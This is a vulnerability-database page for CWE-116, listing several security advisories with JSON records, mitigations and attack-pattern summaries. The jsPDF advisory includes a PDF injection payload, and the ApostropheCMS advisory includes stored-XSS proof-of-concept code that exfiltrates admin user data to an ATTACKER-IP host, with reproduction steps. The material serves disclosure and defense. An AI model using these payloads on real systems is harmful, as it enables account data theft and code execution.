Common Weakness Enumeration

CWE-116

Allowed-with-Review

Improper Encoding or Escaping of Output

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

612 vulnerabilities reference this CWE, most recent first.

GHSA-7MXF-3GJ9-R25X

Vulnerability from github – Published: 2026-04-22 15:31 – Updated: 2026-04-22 15:31
VLAI
Details

PRSD detection denial of service

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2026-33597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T14:16:54Z",
    "severity": "LOW"
  },
  "details": "PRSD detection denial of service",
  "id": "GHSA-7mxf-3gj9-r25x",
  "modified": "2026-04-22T15:31:44Z",
  "published": "2026-04-22T15:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33597"
    },
    {
      "type": "WEB",
      "url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PH6-5CMQ-XGJQ

Vulnerability from github – Published: 2022-02-09 21:53 – Updated: 2022-05-19 22:09
VLAI
Summary
Path traversal in xwiki-platform-skin-skinx
Details

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. AbstractSxExportURLFactoryActionHandler#processSx does not escape anything from SSX document reference when serializing it on filesystem, so it's easy to mess up the HTML export process with reference elements containing filesystem syntax like "../", "./". or "/" in general (the last two not causing any security threat, but can cause conflicts with others serialized files). Patch can be found in 13.6-rc-1. Giving script or subwiki admin right only to trusted people and disabling HTML/PDF export can be done as workaround.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-skin-skinx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2-rc-1"
            },
            {
              "fixed": "13.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-09T21:53:29Z",
    "nvd_published_at": "2022-02-09T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. AbstractSxExportURLFactoryActionHandler#processSx does not escape anything from SSX document reference when serializing it on filesystem, so it\u0027s easy to mess up the HTML export process with reference elements containing filesystem syntax like \"../\", \"./\". or \"/\" in general (the last two not causing any security threat, but can cause conflicts with others serialized files). Patch can be found in 13.6-rc-1. Giving script or subwiki admin right only to trusted people and disabling HTML/PDF export can be done as workaround.\n\n",
  "id": "GHSA-7ph6-5cmq-xgjq",
  "modified": "2022-05-19T22:09:24Z",
  "published": "2022-02-09T21:53:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7ph6-5cmq-xgjq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/ab778254fb8f71c774e1c1239368c44fe3b6bba5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-18819"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Path traversal in xwiki-platform-skin-skinx"
}

GHSA-7X6V-J9X4-QF24

Vulnerability from github – Published: 2026-03-17 17:07 – Updated: 2026-03-19 19:01
VLAI
Summary
jsPDF has a PDF Object Injection via FreeText color
Details

Impact

User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..

  • createAnnotation: color parameter

Example attack vector:

import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({
  type: 'freetext',
  bounds: { x: 10, y: 10, w: 120, h: 20 },
  contents: 'hello',
  color: payload
});

doc.save('test.pdf');

Patches

The vulnerability has been fixed in jsPDF@4.2.1.

Workarounds

Sanitize user input before passing it to the vulnerable API members.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "jspdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T17:07:51Z",
    "nvd_published_at": "2026-03-18T04:17:21Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nUser control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..\n\n* `createAnnotation`: `color` parameter\n\nExample attack vector:\n\n```js\nimport { jsPDF } from \u0027jspdf\u0027\n\nconst doc = new jsPDF();\n\nconst payload = \u0027000000) /AA \u003c\u003c/E \u003c\u003c/S /Launch /F (calc.exe)\u003e\u003e\u003e\u003e (\u0027;\n\ndoc.createAnnotation({\n  type: \u0027freetext\u0027,\n  bounds: { x: 10, y: 10, w: 120, h: 20 },\n  contents: \u0027hello\u0027,\n  color: payload\n});\n\ndoc.save(\u0027test.pdf\u0027);\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.2.1.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.",
  "id": "GHSA-7x6v-j9x4-qf24",
  "modified": "2026-03-19T19:01:35Z",
  "published": "2026-03-17T17:07:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-7x6v-j9x4-qf24"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/commit/4155c4819d5eca284168e51e0e1e81126b4f14b8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parallax/jsPDF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/blob/b1607a9391d4cd65ea7ade25998aea8345ae1be3/src/modules/annotations.js#L193-L208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/releases/tag/v4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jsPDF has a PDF Object Injection via FreeText color"
}

GHSA-82RF-96V8-V76F

Vulnerability from github – Published: 2025-04-28 15:31 – Updated: 2025-04-28 15:31
VLAI
Details

Dell PowerProtect Data Manager Reporting, version(s) 19.17, 19.18 contain(s) an Improper Encoding or Escaping of Output vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability to inject arbitrary web script or html in reporting outputs.

Severity
4.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-23377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T15:15:45Z",
    "severity": "MODERATE"
  },
  "details": "Dell PowerProtect Data Manager Reporting, version(s) 19.17, 19.18 contain(s) an Improper Encoding or Escaping of Output vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability to inject arbitrary web script or html in reporting outputs.",
  "id": "GHSA-82rf-96v8-v76f",
  "modified": "2025-04-28T15:31:41Z",
  "published": "2025-04-28T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23377"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000311083/dsa-2025-062-security-update-for-dell-powerprotect-data-manager-multiple-security-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-84CM-X2Q5-8225

Vulnerability from github – Published: 2018-10-15 22:03 – Updated: 2023-09-27 12:57
VLAI
Summary
dojox vulnerable to unescaped string injection
Details

In Dojo Toolkit before 1.14.0, there is unescaped string injection in dojox/Grid/DataGrid.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dojox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-15494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:24:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "In Dojo Toolkit before 1.14.0, there is unescaped string injection in dojox/Grid/DataGrid.",
  "id": "GHSA-84cm-x2q5-8225",
  "modified": "2023-09-27T12:57:00Z",
  "published": "2018-10-15T22:03:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15494"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dojo/dojox/pull/283"
    },
    {
      "type": "WEB",
      "url": "https://dojotoolkit.org/blog/dojo-1-14-released"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84cm-x2q5-8225"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dojo/dojox"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00002.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "dojox vulnerable to unescaped string injection"
}

GHSA-84F2-HXX8-45MV

Vulnerability from github – Published: 2022-06-23 00:00 – Updated: 2022-06-23 00:00
VLAI
Details

In motor-admin versions 0.0.1 through 0.2.56 are vulnerable to host header injection in the password reset functionality where malicious actor can send fake password reset email to arbitrary victim.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-23079"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-22T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "In motor-admin versions 0.0.1 through 0.2.56 are vulnerable to host header injection in the password reset functionality where malicious actor can send fake password reset email to arbitrary victim.",
  "id": "GHSA-84f2-hxx8-45mv",
  "modified": "2022-06-23T00:00:34Z",
  "published": "2022-06-23T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23079"
    },
    {
      "type": "WEB",
      "url": "https://github.com/motor-admin/motor-admin/commit/a461b7507940a1fa062836daa89c82404fe3ecf9"
    },
    {
      "type": "WEB",
      "url": "https://www.mend.io/vulnerability-database/CVE-2022-23079"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-855C-R2VQ-C292

Vulnerability from github – Published: 2026-04-16 20:44 – Updated: 2026-04-30 20:08
VLAI
Summary
Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
Details

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

  • <title>
  • <meta> attributes
  • structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

"></title><script>alert(1)</script>

This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

  1. Start a local listener: python3 -m http.server 5656
  2. Login to ApostropheCMS as an authenticated user
  3. Create or edit a page
  4. Navigate to SEO settings
  5. Insert the payload into the SEO Title field and Meta Description
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
  1. Set Schema Type to "Web page"
  2. Save and publish the page
  3. Have an administrator visit the page

Result

  • The payload executes in the admin’s browser
  • The script sends a request to: /api/v1/@apostrophecms/user
  • The response contains sensitive user data:
  • usernames
  • email addresses

  • roles (including admin)

  • The data is exfiltrated to the attacker-controlled server:

  • http://ATTACKER-IP:5656

Evidence

  • The attacker server receives:
  • GET /?data=BASE64_ENCODED_RESPONSE
  • Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server

## References - Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3 - https://www.cve.org/CVERecord?id=CVE-2026-35569 - https://nvd.nist.gov/vuln/detail/CVE-2026-35569 - https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.28.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:44:18Z",
    "nvd_published_at": "2026-04-15T20:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `\u003ctitle\u003e`\n- `\u003cmeta\u003e` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\n```\nThis confirms:\n  - Improper output encoding\n  - Ability to escape `\u003ctitle\u003e / \u003cmeta\u003e` contexts\n  - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027, {\n  credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3.  Create or edit a page\n4.  Navigate to SEO settings\n5.  Insert the payload into the SEO Title field  and  Meta Description\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027,{\n  credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n6.  Set **Schema Type** to \"Web page\"\n7.  Save and publish the page\n8.  Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin\u2019s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n  - usernames\n  - email addresses\n  - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n  - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n  - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n  - Execute arbitrary JavaScript in an authenticated admin context\n  - Perform authenticated API requests (session riding)\n  - Access sensitive application data via internal APIs\n  - Exfiltrate sensitive data to an external attacker-controlled server\n  \n ## References\n- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3\n- https://www.cve.org/CVERecord?id=CVE-2026-35569\n- https://nvd.nist.gov/vuln/detail/CVE-2026-35569\n- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569",
  "id": "GHSA-855c-r2vq-c292",
  "modified": "2026-04-30T20:08:18Z",
  "published": "2026-04-16T20:44:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS"
}

GHSA-857F-W8MJ-5G2G

Vulnerability from github – Published: 2023-11-17 06:31 – Updated: 2024-06-20 18:34
VLAI
Details

An issue was discovered in OpenNDS Captive Portal before version 10.1.2. When the custom unescape callback is enabled, attackers can execute arbitrary OS commands by inserting them into the URL portion of HTTP GET requests.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-38316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-17T06:15:33Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in OpenNDS Captive Portal before version 10.1.2. When the custom unescape callback is enabled, attackers can execute arbitrary OS commands by inserting them into the URL portion of HTTP GET requests.",
  "id": "GHSA-857f-w8mj-5g2g",
  "modified": "2024-06-20T18:34:06Z",
  "published": "2023-11-17T06:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openwrt/routing/commit/0b19771fb2dd81e7c428759610aed583171eed80"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openNDS/openNDS/releases/tag/v10.1.2"
    },
    {
      "type": "WEB",
      "url": "https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin---swi-psa-2023-006-v4/#sthash.2vJg3d85.rwx82g1C.dpbs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-86JX-WR74-XR74

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-08-21 18:50
VLAI
Summary
Improper escaping in Apache Zeppelin
Details

Improper Encoding or Escaping of Output vulnerability in Apache Zeppelin.

The attackers can execute shell scripts or malicious code by overriding configuration like ZEPPELIN_INTP_CLASSPATH_OVERRIDES. This issue affects Apache Zeppelin: from 0.8.2 before 0.11.1.

Users are recommended to upgrade to version 0.11.1, which fixes the issue.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zeppelin:zeppelin-interpreter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.2"
            },
            {
              "fixed": "0.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-24T20:11:32Z",
    "nvd_published_at": "2024-04-09T16:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Encoding or Escaping of Output vulnerability in Apache Zeppelin.\n\nThe attackers can execute shell scripts or malicious code by overriding configuration like\u00a0ZEPPELIN_INTP_CLASSPATH_OVERRIDES.\nThis issue affects Apache Zeppelin: from 0.8.2 before 0.11.1.\n\nUsers are recommended to upgrade to version 0.11.1, which fixes the issue.",
  "id": "GHSA-86jx-wr74-xr74",
  "modified": "2024-08-21T18:50:22Z",
  "published": "2024-04-09T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/pull/4715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/commit/dd08a3966ef3b0b40f13d0291d7cac5ec3dd9f9c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/zeppelin"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/jpkbq3oktopt34x2n5wnhzc2r1410ddd"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/04/09/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper escaping in Apache Zeppelin"
}

GHSA-877H-PHH3-7F4R

Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31
VLAI
Details

Windows App Installer Spoofing Vulnerability

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-13T18:15:25Z",
    "severity": "HIGH"
  },
  "details": "Windows App Installer Spoofing Vulnerability",
  "id": "GHSA-877h-phh3-7f4r",
  "modified": "2024-08-13T18:31:17Z",
  "published": "2024-08-13T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38177"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38177"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation
Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation
Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation
Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation
Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

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